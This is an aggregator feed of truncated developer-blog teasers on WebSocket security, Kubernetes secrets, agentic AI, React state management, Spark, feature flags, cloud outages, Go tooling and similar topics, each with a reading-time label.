    WebSockets power everything from chat apps to financial tickers. But their persistent connections create unique attack surfaces that traditional HTTP security doesn't address. Never establish WebSocket connections before verifying identity: const WebSocket = require('ws'); const jwt = require('jsonwebtoken'); const wss = new WebSocket.Server({ noServer: true }); server.on('upgrade', (request, socket, head) => { const token = new URL(request.url, 'ws://localhost').searchParams.get('token'); try { const user = jwt.verify(token, process.env.JWT_SECRET); wss.handleUpgrade(request, socket, head, (ws) => { ws.user = user; wss.emit('connection', ws, request); }); } catch (err) { socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n'); socket.destroy(); } }); …  ( 7 min )
    Building a Production-Ready GNOME Extension with Kiro: From CLI to GUI in Record Time
    The Challenge But GNOME extension development is notoriously complex: Strict compliance with extensions.gnome.org review guidelines Enter Kiro Intelligent Code Navigation Working with 1000+ lines of GJS code across multiple modules (extension.js, gpClient.js, statusMonitor.js, indicator.js, errorHandler.js), Kiro helped me maintain architectural consistency. It understood the separation of concerns and suggested improvements that aligned with GNOME best practices. // Kiro helped refactor this deprecated pattern: // To the modern approach: Async Operations Done Right One of the trickiest parts was implementing proper async subprocess operations with Gio.Cancellable. Kiro helped me implement patterns like: async connect(portal, gateway = null, username = null) { try { const proc = new Gi…  ( 8 min )
    Droip no-code builder
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    What is state machine and how to use it - TBD
    TBD ...  ( 6 min )
    A story on Frontend Architectures - MVC, the MVP
    The evolution of frontend engineering goes back to the time when the World Wide Web(WWW) was a flashy thing and just like today's(most possibly!) AI bubble, there was the dot-com bubble. Websites at that time weren’t filled with animations, 3D rendering, colourful dynamic fonts, or immersive interactions like we see today. They were as static as a magazine, consisting of plain HTML and CSS, with very less interactivity from just a little sprinkle of JavaScript. HTML wasn’t designed for applications; it was built to serve documents, much like PDFs. Everything was rendered on the server, and nothing interesting happened on the client. Mind it, they were super fast… but also super boring for human eyes! With increasing internet popularity, the need of sophisticated websites also grew. People …  ( 8 min )
    Kubernetes Secrets Without the Pain: Meet kcpwd
    Kubernetes Secrets Without the Pain: Meet kcpwd kcpwd is a cross-platform password manager that syncs to Kubernetes secrets with zero infrastructure. No Vault servers, no operators, no complexity—just kcpwd k8s sync. You know the drill. You're deploying to Kubernetes and need to manage secrets. Your options? Option 1: Hardcode them ❌ # deployment.yaml (please don't do this) env: - name: DB_PASSWORD value: "super_secret_123" # 😱 In git! Option 2: Setup Vault ⚠️ Install Consul or etcd Deploy 3+ Vault servers Configure unsealing Setup RBAC Write policies Time spent: 2-4 hours minimum Option 3: Use External Secrets Operator ⚠️ Deploy operator Configure cloud provider Manage IAM roles Time spent: 1-2 hours There has to be a better way for the 90% of teams who just need secure secret …  ( 10 min )
    NDC Conferences: Optimize Your Internal OS and Minimize Compatibility Issues at Work - Alice Meredith
    Ever felt like you’re running a unique OS and crashing head-first into someone else’s? In her NDC Copenhagen talk, Alice Meredith breaks down your “HumanOS”—personality traits, strengths, stress defaults—and shows you how to decode and patch yourself with tools like Gallup Strengths, Enneagram, and The People Code. You’ll learn to spot your go-to reactions under stress, fine-tune your motivators and communication style, and see compatibility snags as mere system mismatches, not personal bugs. Then, with AI as your personal coach, you’ll tweak your internal settings, navigate tough feedback loops, and boost collaboration—no matter what OS your teammates are rocking. Think of it as a software update for your soft skills, arming you with digital tools to problem-solve, communicate, and sync up smoothly with any work crew. Watch on YouTube  ( 6 min )
    promote different IA models and providers
    Cracking the Code: How to Effectively Promote IA Models and Providers in Today's Dynamic Market Unlocking the Value: Beyond the Algorithm In the rapidly evolving landscape of Artificial Intelligence and Intelligent Automation (IA), the sheer volume of innovative models, platforms, and service providers can be overwhelming. For those operating within the IA niche – from solution architects and consultants to product managers and business development specialists – simply having a superior algorithm or a cutting-edge service isn't enough. The real challenge lies in effectively communicating that value, cutting through the noise, and ensuring your specific IA models and provider offerings gain the recognition and adoption they deserve. This post will guide you through the strategi…  ( 8 min )
    How I decide when an app is ready to launch
    There's no perfect moment to launch. I've shipped things too early and watched users bounce off broken flows. I've also waited too long, polishing features nobody asked for while the motivation slowly drained out of me. After launching a few products, I've landed on a simple framework for deciding when something is ready. This sounds obvious, but it's easy to get wrong. Your app probably does multiple things, and you need to be honest about which one is the core feature. That's the one thing that has to work reliably before you launch. For a note-taking app, that's creating and saving notes. For a feedback tool, that's submitting and viewing feedback. For an invoicing app, that's creating and sending an invoice. Everything else is secondary. I ask myself one question: if a user signs up an…  ( 13 min )
    Agentic AI for Developers: Building Autonomous AI Systems Instead of Chatbots
    For years, developers have used AI as a tool an API that generates text, code, or images when prompted. But the next stage of AI isn’t about better prompting. It’s about AI that can think, plan, act, and execute tasks autonomously. This shift is called Agentic AI, and it’s about to reshape how software gets built. 🔥 Not Just Generating — Completing Tasks Traditional Gen-AI: Agentic AI: It’s not a chatbot. It’s an AI worker. 🧠 Core Architecture of an AI Agent AI Agents usually revolve around these components: If traditional AI is a function call, Agentic AI is a running program with loops, feedback, and autonomy. 🛠️ Tools and Frameworks Developers Can Start Using Today If you’re a developer, the easiest way to build AI agents today is through: And if you want a simple demonstration, even this concept works: That loop is the essence of Agentic intelligence — plan → act → evaluate → improve → repeat. 💻 Example Use Cases Developers Can Build These ideas are realistic and already being built by devs today: 🔹 Code Agent Give it a repository and a feature request. It: 🔹 Product Research Agent Input: “Find the top 20 HR SaaS startups that raised funding last year.” 🔹 Deployment Agent Agent that: This is not prompting this is fully automated devops. 🧩 Why Developers Should Pay Attention Agentic AI will not replace developers. Right now: Future: Developer skill will shift from manual code writing to: Those who learn this early will have a massive advantage. ⚠️ Realistic Limitations Today Agentic AI is powerful but imperfect. Developers should expect: That’s why humans remain essential autonomous does not mean unsupervised. ⭐ Final Message to Developers Don’t wait for tutorials. Start building your own agent even a tiny one. If you learn: You’re not just learning AI Agentic AI isn’t here to take away developer jobs. The devs who embrace this will build the future. The devs who ignore it will fall behind it.  ( 8 min )
    Week 9: Using Recoil in React!
    Back after 2 weeks of vacation!(it was actually a continuous battle with so many evaluations and exams at college). During this time I've been covering State Management with context API and Recoil! Let's get right into it! Context API Problems with Context API Recoil and why it's better Atoms & Selectors Recoil hooks (useRecoilState, useRecoilValue, useSetRecoilState) Using RecoilRoot When to still use useState 1. Starting with the Context API 🧩 Last week, we spoke about prop drilling and how passing props through multiple layers can make your code look messy. The Context API is React’s built-in solution to this. It lets you create global-ish state without prop drilling. Here’s a tiny example: // UserContext.jsx import { createContext } from "react"; export const UserCo…  ( 9 min )
    🚀 Day 1: Introduction to Apache Spark
    Welcome to Day 1 of the 60 Day Spark Mastery Series! Let’s begin with the fundamentals. 🌟 What is Apache Spark? Apache Spark is a lightning-fast distributed computing engine used for processing massive datasets. Spark’s superpower is simple: It processes data in-memory, which makes it 10–100x faster than Hadoop MapReduce. ⚡ Why Should Data Engineers Learn Spark? Here are reasons Spark is the industry standard: Works with huge datasets (TBs/ PBs) Built for batch + streaming + machine learning Runs on GCP, AWS, Databricks, Kubernetes, Hadoop Has easy APIs in Python (PySpark), SQL, Scala Built-in optimizations from Spark’s Catalyst Optimizer 🔥 Spark Ecosystem Overview Spark is not just a computation engine; it’s a full ecosystem: 1. Spark Core Handles: scheduling, memory, fault tolerance 2.…  ( 7 min )
    How to Search Non-Patent Literature for Prior Art
    In today’s innovation-driven world, the difference between a strong patent and a vulnerable one often comes down to the quality of your prior art search. While most people start with patent databases, a significant portion of valuable prior art lives outside the patent system — in scholarly journals, technical reports, conference papers, dissertations, standards, whitepapers, and institutional repositories. This is the vast and often overlooked universe of non-patent literature (NPL). For inventors, startup founders, R&D teams, and patent attorneys, knowing how to search non-patent literature for prior art is now an essential skill. NPL can reveal early research, unpublished concepts, or technical disclosures that never made it into a patent filing — yet can make or break patentability, st…  ( 11 min )
    Monetzly: A Game-Changer for AI Monetization in LLM Apps
    When Ads Become Helpful Suggestions Instead of Interruptions In the rapidly evolving landscape of AI-powered applications, developers face a dual challenge: how to monetize their innovations without disrupting user experience. What if there was a way to transform traditional advertising into a seamless part of your AI conversations? Enter Monetzly—the first platform designed for developers to earn revenue through dual streams: monetizing their apps and hosting contextually relevant ads. As AI applications proliferate, many developers struggle with monetization models that either alienate users or fail to generate sustainable revenue. Subscriptions and paywalls can deter engagement, leading to a trade-off between user satisfaction and developer income. This is where Monetzly steps in with…  ( 7 min )
    Simply Order (Part 8) – Querying Orders with Details: GraphQL in Action
    This is the eighth article in our series, where we design a simple order solution for a hypothetical company called Simply Order. The company expects high traffic and needs a resilient, scalable, and distributed order system. In the previous articles: Simply Order (Part 1) Distributed Transactions in Microservices: Why 2PC Doesn’t Fit and How Sagas Help Simply Order (Part 2) — Designing and Implementing the Saga Workflow with Temporal Simply Order (Part 3) — Linking It All Together: Connecting Services and Watching Temporal in Action Simply Order (Part 4) — Reliable Events with the Outbox Pattern (Concepts) Simply Order (Part 5) — Hands-On: Building the Outbox Pattern for Reliable Events Simply Order (Part 6) – Making APIs Idempotent: Because Users Double-Click and Networks Lie Simply Orde…  ( 9 min )
    Rust in the Linux Kernel: A New Dawn for Secure Systems?
    Introduction: The Unsung Hero Gets a Modern Makeover Imagine the digital backbone of our world – from your Android phone nestling in your pocket to the hulking, humming cloud servers that power the internet – being constructed from code perpetually vulnerable to frustrating crashes and insidious security flaws. This backbone, in many cases, is the Linux kernel, a project forged in the crucible of the C programming language over three decades ago. Now, consider this: a newcomer, a contender, is stepping into the arena. Rust. The Linux kernel, that very core of countless operating systems, is slowly, deliberately integrating Rust into its core modules. This isn't just about a new coding fad; it's a potentially monumental shift, a calculated gamble aimed squarely at fortifying our increasin…  ( 10 min )
    I made a thing because taking notes from YouTube sucks
    I have a problem. I watch way too much YouTube. Not the fun stuff - I mean tutorials, lectures, those 3-hour coding videos I convince myself I'll finish. And every time, same story: Watch for 30 seconds. Pause. Scribble something down. Realize I missed the next part. Rewind. Repeat until I give up. A 20-minute video takes 45 minutes. My notes look like hieroglyphics. And then I can't even find them later because they're in some random Google Doc I forgot about. I wanted my notes saved in one place. Not scattered across 47 different files. Just everything organized by video. I wanted notes in my language. Half the good content is in English, but I think better in my native language. Translating in my head while taking notes? Exhausting. No tool did both. So I built one. What I made notetubeai.in Paste any YouTube link. It gives you: Transcript - Full searchable text. Click any line, video jumps there. Chat - Ask questions about the video. "What did he say about X?" Actually works. Breakdown - Auto-generated chapters with summaries. Skip to what matters. Flashcards - If you're actually trying to remember this stuff. User Notes - Select any part of transcript, save it, AI can rewrite it for you. Take Me There - Search for any topic, finds the exact moment. Why I'm sharing this notetubeai.in Tell me what sucks. I'll fix it.  ( 7 min )
    Why Your Image Search Sucks (And How ColPali + Multi-Vector Indexing Fixes It)
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    Build in Public: Week 4. The Messy Middle Of Building An AI Agent
    This was supposed to be the week of a polished demo video and a clean “here’s how you use our API” walkthrough. Instead, it turned into the week of staring at half-finished pieces, poking at logs and wondering why we voluntarily chose Instagram as our first supported social network. If you remember last week’s post, I was feeling pretty optimistic about discovery methods and how you can mix different approaches. In theory it does work. In practice it works just enough to keep you going, but not nearly as well as you hoped when you first mapped it out and convinced yourself you’d cracked influencer search forever. And this is exactly the part where motivation gets weird. Weekly posts sound great until you realize each week expects something polished, while the actual project is still a pile…  ( 10 min )
    XRPL Programmability: WASM Runtime Revisit
    Authors: David Fuelling, Oleksandr Pidskopnyi, Mayukha Vadari, Peng Wang One primary aspect of the WebAssembly (WASM) integration with rippled is the runtime used. WASM runtime environments are low-level virtual stack machines, like JVM, and can be embedded into any host application (such as rippled). There are several different implementations, with various tradeoffs. When we did an initial analysis of different runtimes earlier this year, we chose to use WAMR, primarily due to its performance benefits. Upon finishing the initial development of the Smart Escrows implementation and reaching the review and testing stage, the RippleX programmability team decided to revisit the decision on the initial selection of WAMR as our WebAssembly VM runtime, to ensure the chosen runtime is well-positi…  ( 10 min )
    How To Categorize Your Tests in Playwright using Tags to Make Your Testing Suite Less Terrible
    A powerful way to organize and run your Playwright tests is by using tags. Tags allow you to categorize tests and run only the ones you need, making your test suite more manageable and efficient, especially in large, complex projects that wants to make your hair pull out. Playwright tags let you group related tests and run them selectively. You can tag tests directly in your test descriptions using the @tagname syntax. import { test, expect } from '@playwright/test'; test('Navigate to Get Started @navigation', async ({ page }) => { await page.goto('https://playwright.dev'); const getStartedLink = page.locator('a\:has-text("Get Started")'); await getStartedLink.click(); const installationHeading = page.locator('h1\:has-text("Installation")'); await expect(installationHeading).toB…  ( 7 min )
    How to Embed Interactive Calculators in Modern Web Apps?
    Interactive calculators make websites more helpful and engaging. They give users instant results without needing to switch tabs or use external tools. In modern web development it is very easy to add calculators to your app using HTML, CSS and JavaScript or by connecting ready made tools from trusted sources. Calculators improve user experience because they save time. People can calculate values directly on the page. This keeps users on your site longer and makes your content more valuable. For developers calculators are simple to build and easy to customize. Adding a calculator can be easy if you understand a few simple steps. First you decide what kind of calculator you want. It can be a basic math calculator or a tool that solves a specific problem like percentage or loan payments. When…  ( 7 min )
    My Free Half Marathon Plan for Working Parents
    Happy Monday! For the sake of preparing for New Year resolutions, I am making my half-marathon prep guide free for the entire month. 🏃 If you end up getting this and trying it, please let me know what you think 🧠 I will be releasing a 5k and 10k plan throughout the month as well. Happy running! Download here  ( 6 min )
    Getting Input Values by ID or Class… On the Backend
    Ever wanted to read or manipulate HTML form inputs on the backend—just like document.getElementById in the browser—without setting up jsdom? Meet FetchTL, a lightweight library that lets you sync, read, and update form/input data directly in Node.js. Perfect for server-driven HTML or JS-free forms. Backend developers often face these scenarios: Server-side form handling: Access input values without relying on frontend JS. Dynamic templates: Read and modify HTML inputs for emails, reports, or static pages. Simplified backend forms: No complex DOM emulation needed. FetchTL provides a mini DOM store on the server—fast, simple, and easy to integrate with Express. # Install via npm npm install fetchtl Import in your backend code: const express = require("express"); const $ = require("fetchtl")…  ( 7 min )
    🧛👻 BloodBound Academy: How I Built a Haunting AI Study Tool in ~7 Hrs Using Kiro's Spec-Driven Magic
    The Challenge It's 2 AM. You're staring at your syllabus, trying to create study aids for your study sessions. Manually transcribing? Tedious. Organizing topics? Time-consuming. Creating comprehensive lesson plans? Exhausting. What if AI could do all of this... wrapped in a haunting vampire aesthetic? That's what I built. But here's the real story: I went from rough idea to production deployment in <7 hrs using Kiro's spec-driven development. Let me show you exactly how. The ~7-Hour Timeline (No BS) Hour 0:00 → Brain dump ideas (messy, unstructured) ↓ Hour 0:40 → Kiro generates complete specs in 5 MINUTES! 🤯 ↓ Hour 1:00 → Review & refine specs to match my vision • Adjust requirements.md for my specific needs • Tweak design.md archi…  ( 15 min )
    **Implementing AI Governance in Precision Medicine: A Case S
    Implementing AI Governance in Precision Medicine: A Case Study with a Measurable Outcome As an AI/ML expert, I'd like to share a fascinating success story that highlights the power of AI governance in a critical field: precision medicine. In 2023, the University of California, San Francisco (UCSF) partnered with a leading healthcare organization to develop an AI-powered platform for diagnosing and personalizing treatment plans for patients with complex cancer cases. The Challenge: The existing approach to cancer diagnosis was based on a one-size-fits-all approach, which often resulted in ineffective treatment plans and poor patient outcomes. The team at UCSF aimed to bridge the gap between genomic data and clinical decision-making using AI. The Solution: The AI-powered platform, dubbed "On…  ( 7 min )
    How to Add Feature Flags to Your App in 5 Minutes
    Feature flags are one of those things that seem optional until you need to roll back a broken feature at 2am on a Saturday. Instead of reverting commits, redeploying, and praying — you just flip a toggle. Feature gone. Crisis over. Here's how to add feature flags to your app in about 5 minutes. What We're Building Toggle features on/off instantly Roll out features to a percentage of users Use different settings per environment (dev/staging/prod) Step 1: Get Your API Key SetBit — a feature flag service I built because I got tired of LaunchDarkly's complexity and pricing. Free tier works fine for this. Sign up, create a project, and grab your SDK key from Account → API Keys. Step 2: Install the SDK npm install @setbit/js Or if you're using Python: pip install setbit Step 3: Initialize impo…  ( 7 min )
    3D-Agent and Blender-MCP: Both Amazing Blender AI Tools
    From Blender-MCP to 3D-Agent: The Evolution of AI-Powered Blender Modeling GL ・ Dec 1 #blender #mcp #ai #design  ( 6 min )
    Building a Robust Bonus Engine in Go: Mastering Accrual, Wager, and Compliance
    Building a Robust Bonus Engine in Go: Mastering Accrual, Wager, and Compliance Бонуси — це хліб з маслом у багатьох онлайн-бізнесах, від ігрових платформ до e-commerce. Вони приваблюють нових клієнтів і утримують існуючих. Але за привабливою оболонкою бонусних пропозицій ховається складна логіка, яка потребує точної і надійної реалізації. Неправильне нарахування або облік бонусів може призвести до фінансових втрат, проблем з регуляторами або незадоволення клієнтів. У цій статті ми зануримося у світ бонусних двигунів (Bonus Engines), розберемо ключові компоненти їх архітектури та розглянемо, як мова програмування Go може допомогти нам створити ефективне, масштабоване та відмовостійке рішення. Перед тим як говорити про реалізацію, давайте окреслимо основні типи бонусів, з якими нам доведет…  ( 12 min )
    Building in Public as a High School Founder: Fushi
    I’m a high school student currently juggling homework, AP classes, exams, extracurriculars, a social life, and building a SaaS startup from scratch. This is the story of how I spent months building a calendar app that ultimately flopped—but led me to a genuinely useful product: Fushi. Like a lot of beginner founders, I built something that I thought was cool. I created a calendar app with a unique UI, focus session features and detailed analytics that made sense to my brain. I spent months coding, designing, planning, polishing—then finally deployed and started marketing. I posted it to Reddit for feedback and got roasted. Not because it was buggy. It didn’t solve a pain point. I had built a product for myself—not a product for a market. Don’t validate after building. Validate first. A pro…  ( 7 min )
    🎨 CSS Opacity: The Simplest Way to Control Transparency on the Web
    Originally Published - Makemychance.com opacity helps you control how transparent an element appears on your webpage. Whether you're designing hover effects, overlays, or smooth UI transitions, opacity is one of the easiest and most useful CSS properties to master. Opacity defines how visible or transparent an element is. 0 and 1: 1 = fully visible 0 = fully transparent 0.5 = 50% transparent .box { opacity: 0.5; } img:hover { opacity: 0.7; transition: 0.3s ease; } This creates smooth hover effects widely used in modern UI/UX design. Opacity affects the entire element, including children. only for background, use RGBA: background-color: rgba(0, 0, 0, 0.5); Image hover effects Modal & overlay backgrounds Smooth text fade-in/out Transparent buttons Highlighting elements MDN Opacity Docs https://developer.mozilla.org/en-US/docs/Web/CSS/opacity W3Schools Opacity Guide https://www.w3schools.com/css/css_image_transparency.asp 🚀 Final Thoughts Opacity is simple but powerful. With just a single property, you can elevate the feel of your UI, create depth, and build attention-grabbing hover effects.  ( 6 min )
    JSON Was Slowing Me Down — So I Created Something Better https://dev.to/internetobject/from-json-to-internet-object-a-lean-schema-first-data-format-part-1-19e5 #python #javascript #api #datascience
    JSON Was Slowing Me Down — So I Created Something Better Internet Object ・ Nov 27 #python #javascript #api #datascience  ( 6 min )
    🚀
    From Blender-MCP to 3D-Agent: The Evolution of AI-Powered Blender Modeling GL ・ Dec 1 #blender #mcp #ai #design  ( 6 min )
    On the Ignorance and Negligence of Bugcrowd Staff – When Security Becomes a Joke!
    “We were unable to identify an immediate security impact, so this submission is not applicable. Please clarify: What could an attacker do?” And if you reply with a detailed impact analysis, you get another robotic answer: At that point, you start to wonder: Are these people even real security professionals, or are they just reading from a playbook and stalling for time? Who Are the Bugcrowd Staff and Why Do They Act Like This? Most of the triage or “support” staff at Bugcrowd aren’t hackers, and often lack hands-on offensive security background. Many are just IT graduates or people with a generic “security certification” or a management title. This is painfully obvious when you see them: Failing to distinguish between a harmless info leak and a real credential/API/key exposure. Thinking SS…  ( 8 min )
    From Blender-MCP to 3D-Agent: The Evolution of AI-Powered Blender Modeling
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    The Missing Dimension in Neuroplasticity Theory
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    🚀 Build a Remote MCP Server That Connects to Any MCP Client (Claude, VSCode & More)
    The Model Context Protocol (MCP) is quickly becoming the new universal standard for connecting AI assistants with real-world tools. Imagine giving Claude, VSCode, or any MCP-compatible client the power to interact with your APIs, databases, scripts, or cloud resources—securely and consistently. In this guide, you’ll learn: ✨ What an MCP Server is ⚙️ How to build one 🔌 How MCP Clients connect 🧰 Deployment options (Cloudflare, Cloud Run, custom hosting) 💻 Example code + a public repository template An MCP Server is a backend service that exposes tools, resources, prompts, or custom logic to AI clients through a standardized protocol. Think of it as: 🛠️ Your own plugin system for AI models. If you can code it, an LLM can use it. With an MCP Server, you can expose: 📡 API requests …  ( 8 min )
    On Making Impossible States Impossible
    "Impossible!" - Vizzini "You Keep Using That Word, I Do Not Think It Means What You Think It Means" - Inigo Montoya Richard Feldman held a great talk about making impossible states impossible that has influenced my thinking on this topic since, including how I at the time modeled the XML we were using in the app I was working on. Here I aim to dig into and list some of the examples I've come across and how to model them away. The examples are in TypeScript but the concepts should be broadly applicable to any language/specification that has a decently strong type system. If you dig Elm or Gleam like me and this is new to you, I can recommend digging into opaque types! All errors are my own but I'll gladly blame the A.I. for it. If you find any errors or have any examples that I haven't cove…  ( 10 min )
    Updater Releases - Your Github Repository Updater
    Updater Releases is fast, lightweight, and simple utility written in Python to streamline the process of updating your applications from GitHub releases. See Github repository: https://github.com/EmberNoGlow/Updater-Releases Updater Releases is a powerful and fast utility written in python to speed up the process of updating an application from Github Speedy Updates: Quickly download and deploy new releases from GitHub. User-Friendly Interface: Intuitive GUI for easy repository management and updates. Lightweight & Efficient: Minimal resource usage. GitHub API Integration: Seamlessly interacts with GitHub to fetch release information and assets. Repository Management: Save and load lists of your repositories for quick access. Download the updater_releases.exe file or source code from Releases and run updater_releases.exe or main.py. Add a link to your Github repositories by clicking on add repository and entering the url. After adding the repository, make sure to click on "update" in the actions column to update the repository information, which will allow you to select the desired release from the list below. Select the repository/repositories (if you have added multiple) by clicking on them and then click on "Update Selected" Select the desired asset and wait for the download to complete You're done! You've updated your repositories in three to five clicks! P.S. You can save the list of your repositories in repositories.json by clicking on save repositories, which will allow the app to automatically load the list of your repositories when it starts. Enjoying Updater Releases? If you found this project helpful or like what you see, please consider: ⭐ Starring the repository ⭐ 🔗 Visiting my GitHub profile for other projects and contributions. Your support is greatly appreciated!  ( 7 min )
    Why Professional Websites Score 30-50/100 on PageSpeed
    In my previous article, I explained the techniques for achieving 100/100 on PageSpeed Insights—critical CSS inlining, modern image formats, eliminating render-blocking resources, and preventing layout shift. These techniques aren't new or secret. They're documented, proven, and freely available. So why do most professional websites ignore them? After examining multiple agency portfolios and client sites over the past few months, I've found a consistent pattern. This article presents real performance data, explains why this gap exists, and demonstrates what different approaches actually deliver. A friend recently showed me his new medical practice website. He paid $5,000 to a professional agency, spent months in back-and-forth communication, and received a visually appealing design. Out of …  ( 12 min )
    I Built a Deckbuilder Game Engine with Kiro: From Specs to "Slay the Spire"
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    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    TL;DR CinemaSins takes on Fantastic Four: First Steps in a snarky “Everything Wrong With…” breakdown, ticking off every sintastic Marvel quirk in under 20 minutes. Spoiler: it wasn’t terrible, but it sure wasn’t perfect. They’re backed by BetterHelp (therapy plug, discount link included), and pepper the video description with all their socials (YouTube channels, Discord, Reddit, TikTok, Instagram), a sinful viewer poll, Patreon support info, and a shout-out to their writing team. Watch on YouTube  ( 6 min )
    Medallion Architecture On AWS
    Medallion Architecture On AWS Building Modern Data Lakes on AWS S3 with the Medallion Architecture Introduction Data constitute the foundation of contemporary enterprises. However as the volume, how to store, manage, and analyze data efficiently at . data lakes which is a centralized repository is used to stored structured, AWS S3 Medallion architecture, this approach provides scalable, reliable, and layered approach In this post, we'll explore: Why S3 is the go-to storage for modern data lakes The Medallion architecture and its layers (Bronze, Silver, Gold) Practical design patterns, best practices, and real-world use cases How AWS services integrate seamlessly with S3-based data lakes 1. Why AWS S3 for Data Lakes? Amazon S3 (Simple Storage Service) is object storage that…  ( 9 min )
    Stop That Notification! How I Built Graceful Cancellation for Mass Push Campaigns
    My hands were shaking as I watched the notification counter climb: 5,000 sent... 8,000 sent... 12,000 sent. I had just launched a push notification to every user in the database with a YouTube Live stream URL. The problem? The URL worked perfectly on desktop web, but mobile users were seeing error screens instead of the livestream. The Planning Dept. had sent me the wrong URL format—one that wasn't mobile-compatible. Within minutes, my team lead called: "Stop the notification immediately. Mobile users can't access the stream." I had about 90 seconds to make a decision. My only option at the time? Force-stop the Docker container and pray. That terrifying moment taught me something crucial: when you're sending mass notifications, you need an elegant cancellation mechanism, not emergency infr…  ( 17 min )
    How Time Machine saved my life*
    *not really, but it's a nice title I have been postponing setting up Time Machine for a while, even though I had already bought a 2TB external SSD specifically for this... For some reason, I thought that wasn't gonna be a good solution and was waiting to get a NAS set up at home. Time went by and I just completely forgot about the NAS, and my SSD was just sitting idle at the back of a drawer. A few days ago, I was given a file with several security recommendations and general best practices for my daily life as an IT nerd, it was an initiative from one of the projects on which I'm involved since they wanted to make sure everyone working in it was as careful as possible with their digital assets. I was already doing most of what they were suggesting, but two things really stand out for me: …  ( 7 min )
    Interactive Tooltips & Modals: Elevate UX with CSS & JavaScript (2025 Guide)
    Tooltips and modals are small UI components, but they can dramatically improve (or hurt) the user experience depending on how they’re built. I just published a complete guide that shows how to design interactive, accessible, and high-performing tooltips and modals using modern CSS and JavaScript. How to create interactive tooltips with pure CSS When to use JavaScript for better control Modal patterns that improve usability Accessibility rules most developers overlook Animation techniques for smooth UI interactions Real-world UX mistakes and how to fix them If you want to build cleaner, more intuitive UI components, this guide is for you. 👉 Read the full article: https://www.frontendtools.tech/blog/interactive-tooltips-modals-css-js-ux-guide  ( 6 min )
    How Vue Reactivity Actually Works Under the Hood (A Simple Explanation With Internals)
    If you’ve been working with Vue for a while, you’ve probably learned the rules: ref() holds a value reactive() makes an object reactive computed() derives state changing state triggers a re-render But none of that explains why it works. Why does changing count.value make the component update? render()? To really understand Vue — and to write scalable, predictable code — you need to understand what’s happening under the hood. Let’s open that black box. And don’t worry — I’m going to explain this without computer-science jargon. The simple idea behind all of Vue: “track” and “trigger” The entire Vue reactivity system — every ref, reactive object, computed, watcher — is built on two operations: track() // remember that some code used this value trigger() // notify all code that depends on…  ( 10 min )
    Free SSL Certificates Are Now 90 Days — Can Your Ops Workflow Keep Up?
    Over the last few years, the TLS/SSL ecosystem has quietly shifted. Major browsers, cloud providers, and CAs have been pushing certificate lifetimes shorter and shorter. What used to be a one‑year free certificate is rapidly becoming a 90‑day (or even shorter) reality. On paper, shorter lifetimes improve security by shrinking the window for key compromise. In practice, for teams that don’t have world‑class automation, this change can explode operational complexity and risk. This post looks at what 90‑day free certs really mean for your ops, why many teams are reconsidering paid options, and how tools like ServBay’s SSL certificate features can give you the “set it and forget it” experience without breaking the budget. If you only manage a single personal blog, renewing every 90 days might…  ( 9 min )
    What are your goals for the week? #155
    Welcome to December, the last month of the year. Time to wrap things up for the year. What are you building this week? What do you want to learn? Are you attending any events this week? Are you doing any of the advent coding challenges? (link below) Continue Job Search. Not expecting much this month. But I'll network and work on updating resume and profiles on job sites. Network. Redo resume. Project work. Content for side project. Work on my own project. Set Content & Project Calendar for December. Blog I want to blog more often and produce more than I did this time last year. Events. Thursday Virtual Coffee. Attend Some Torc streams. Don't know of many local events this week. Since it's the holidays, some meetups combine for a big group holiday party later in the month. Run a…  ( 18 min )
    Cloud Outages: The Unpopular Truth No One Wants to Hear
    When looking at public documentation in the last quarter of 2025, we can say it was not the best time for cloud providers in terms of their SLA agreement for availability to their customers, and the global impact of those cloud outages had on customers all over the world: October 20, 2025 - AWS US-East-1 had an outage caused by a DynamoDB DNS race condition that disrupted multiple dependent services October 29, 2025 - Azure Incident Retrospective: Azure Front Door/Portal November 18, 2025 - Cloudflare’s Nov 18, 2025, outage stemmed from a faulty bot-management config November 25, 2025 - Google Meet outage From a customer perspective, it is a bad sign for how customers are dependent on public cloud services, and how a large portion of services are impacted when one of the hyperscale…  ( 10 min )
    🔓 Decrypt MIUI .sa & .sav Files Using APK Certificate Hex + Python – Full Guide by TheDevOpsRite
    Many MIUI users face a serious problem when their backup photos, videos, or data are locked inside encrypted .sa and .sav files. Without the correct key, these files are completely unreadable — and most tools online simply don’t work. On TheDevOpsRite, I’ve now published a complete step-by-step video guide where I show: ✅ What I Demonstrate in the Video How to extract an APK from a Play Store app How to extract the APK certificate hex value using my web app How that hex certificate acts as the decryption key How to use Python + PyCryptodome to decrypt: .sa files .sav files The same concept I previously used for .lsa and .lsav decryption — now extended for MIUI .sa/.sav This method helps users recover their own encrypted MIUI backups safely and logically, instead of relying on random unsafe tools. 🔐 About Data Safety & Privacy This process is shown strictly for educational and personal data recovery purposes. Users should only decrypt files they personally own. Hex keys must never be shared publicly. In the video, I explain how users can share keys privately and securely if they need help. 🛠 Tech Stack Used Python 3 PyCryptodome APK extractor tools Custom web app for certificate extraction 🎥 Watch the Full Tutorial on TheDevOpsRite If you’re struggling with MIUI encrypted files and want a real working solution, this video will save you hours of frustration. 👉 Watch here: https://youtu.be/pa8aS013nFs?si=Y8sTAS9FNNP_9-DL  ( 7 min )
    Building a Data Platform on AWS: Essential Design Considerations for Power BI
    Original Japanese article: AWSで構築するデータ基盤の基本とPower BI利用時の設計ポイント I'm Aki, an AWS Community Builder (@jitepengin). When building a data platform on AWS, the most common cloud-native architecture is to use S3 as the data lake, Amazon Redshift as the DWH (data mart), and Amazon QuickSight for BI. I’ll also cover a frequently requested requirement in enterprise environments: “We want to use Power BI instead of QuickSight.” A typical AWS data platform looks like this: This article focuses on the workloads after data is ingested into AWS, so I’ll skip the source-side integration. Let’s walk through each component. Amazon S3 is the standard choice for a data lake. Medallion Architecture is generally recommended. Key points: Layered structure such as Raw → Processed → Curated Schema-on-read provi…  ( 9 min )
    gopin - Automate Version Pinning for Go Install Commands
    Have you ever wondered why your CI pipeline suddenly broke even though you didn't change any code? Or why a teammate's local build produces different results than yours? The culprit might be lurking in your go install commands with @latest tags. gopin is a CLI tool that automatically pins versions of go install commands in your codebase, ensuring reproducible builds and enhanced security. @latest Using @latest in go install commands creates several issues: .PHONY: lint lint: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest golangci-lint run Today it installs v2.6.0, tomorrow it might install v2.6.2. Builds become non-deterministic. Unpinned versions increase supply chain attack risk. A compromised version could be installed without your knowledge. Differe…  ( 8 min )
    GreHack 2025
